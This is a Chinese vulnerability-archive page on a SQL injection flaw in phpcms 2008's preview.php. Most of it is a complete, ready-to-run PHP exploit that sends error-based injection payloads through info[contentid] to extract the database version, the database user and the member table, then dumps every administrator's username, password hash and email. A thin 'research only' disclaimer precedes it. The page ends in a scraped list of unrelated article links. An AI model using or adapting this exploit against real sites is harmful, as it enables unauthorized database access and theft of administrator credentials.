phpcms 2008 /preview.php SQL注入漏洞
漏洞版本:
phpcms 2008
漏洞描述:
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。 phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
http://www.wooyun.org/bugs/wooyun-2013-022112
http://0day5.com/archives/985
http://sebug.net/appdir/phpcms
*>
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- 可能使用的时候要更改一下User-Agent,否则注入不成功。
- 注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
- <?php
- /**
- * Created by 独自等待
- * Date: 13-11-24
- * Time: 下午8:36
- * Name: phpcms2008_preview.php
- * 独自等待博客:http://www.waitalone.cn/
- */
- print_r('
- +------------------------------------------------------+
- PHPCMS2008 preview.php 注入EXP
- Site:http://www.waitalone.cn/
- Exploit BY: 独自等待
- Time:2013-11-24
- +------------------------------------------------------+
- ');
- if($argc <3){
- print_r('
- +------------------------------------------------------+
- Useage: php '. $argv[0].' host path
- Host: target server (ip/hostname)
- Path: path of phpcms
- Example: php '. $argv[0].' localhost /phpcms
- +------------------------------------------------------+
- ');
- exit;
- }
- error_reporting(7);
- //统计时间
- $start_time = func_time();
- $host = $argv[1];
- $path = $argv[2];
- $cookie ='';//请把会员cookie写入此变量中
- if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
- if(preg_match('/MySQL Query/i', send_pack("'"))){
- //数据库版本
- $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '数据库版本:'. get_info($db_ver)."\n";
- //数据库用户
- $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '数据库用户:'. get_info($db_user)."\n";
- //获取用户表
- $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- $member = get_info($db_member);
- //获取管理员数量
- $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- $ad_count = get_info($db_count);
- echo '管理员表中共有--['. $ad_count .']--个管理员'."\n";
- //显示注入数据
- foreach(range(0,($ad_count -1))as $i){
- $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
- }
- }else{
- exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
- }
- //提取返回信息
- function get_info($info)
- {
- preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
- if(preg_match('/charset=utf-8/i', send_pack($info))){
- return iconv('utf-8','gbk//IGNORE', $match_string[1]);
- }else{
- return $match_string[1];
- }
- }
- //发送数据包函数
- function send_pack($cmd)
- {
- global $host, $path, $cookie;
- $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
- $data .="Host: ". $host ."\r\n";
- $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
- $data .="Cookie:". $cookie ."\r\n";
- $data .="Connection: Close\r\n\r\n";
- //echo $data;
- //这里一定要2个\r\n否则将会一直等待并且不返回数据
- $fp =@fsockopen($host,80, $errno, $errstr,30);
- //echo ini_get('default_socket_timeout');//默认超时时间为60秒
- if(!$fp){
- echo $errno .'-->'. $errstr;
- exit('Could not connect to: '. $host);
- }else{
- fwrite($fp, $data);
- $back ='';
- while(!feof($fp)){
- $back .= fread($fp,1024);
- }
- fclose($fp);
- }
- return $back;
- }
- //时间统计函数
- function func_time()
- {
- list($microsec, $sec)= explode(' ', microtime());
- return $microsec + $sec;
- }
- echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
- ?>
安全建议:
目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本:http://www.phpcms.cn
phpcms 2008 /preview.php SQL注入漏洞的更多相关文章
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...
- PHPCMS 2008 SQL注入漏洞
漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- 【代码审计】iZhanCMS_v2.1 后台存在多个SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- PHP代码审计入门(SQL注入漏洞挖掘基础)
SQL注入漏洞 SQL注入经常出现在登陆页面.和获取HTTP头(user-agent/client-ip等).订单处理等地方,因为这几个地方是业务相对复杂的,登陆页面的注入现在来说大多数是发生在HTT ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- makefile--#的不正确使用
/usr/vacpp/bin/makeC++SharedLib -o /cicm/src/dao/testcase/rel/FUNCTEST.ibmcpp -brtl -bnortllib -p100 ...
- C++ 中的“ !” 运算
在介绍“ !”运算之前,我们要知道一个变量n,如果n>0,那么我们可以在逻辑上叫它“真”,如果n<=0 ,那么我们可以在逻辑上叫它“假”. n为真时,!n就为假(false),转换为整型值 ...
- 创建线程的两种方式比较Thread VS Runnable
1.首先来说说创建线程的两种方式 一种方式是继承Thread类,并重写run()方法 public class MyThread extends Thread{ @Override public vo ...
- linq递归
public class Comment { public int Id { get; set; } public int ParentId { get; set; } public string T ...
- 实习笔记-3:ef实体操作错误篇
学习笔记 1.json序列化ef实体是报错:“序列化类型为“System.Data.Entity.DynamicProxies.XXXX.... 对象时检测到循环引用.” 公司里用ef来生成实体.但是 ...
- windows phone 网易云阅读hubtile效果实现
效果图 曾几何时,刚接触wp的时候做了一个类似的界面,不过是Rectangle实现的,还是一个个摆的..囧啊 现在感觉这种应该是用hubtile实现的,Toolkit(http://silverlig ...
- Github上关于大数据的开源项目、论文等合集
https://github.com/onurakpolat/awesome-bigdata
- 【HeadFirst设计模式】13.与设计模式相处
模式: 是在某情境下,针对某问题的某种解决方案. 要点: 让设计模式自然而然地出现在你的设计中,而不是为了使用而使用. 设计模式并非僵化的教条,你可以依据自己的需要采用或者进行调整. 总是使用最简单的 ...
- 重新安装Ubuntu12.04
重新安装Ubuntu12.04 之所以我重新安装Ubuntu,因为我第一次给根目录分配的空间过小,好像是20GB吧~结果编译Android的时候,编译了3个小时候直接中止掉了.郁闷.这个也告诉我们一定 ...
- jQuery实例-简单选项卡-【一些常见方法(2)-练习】
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...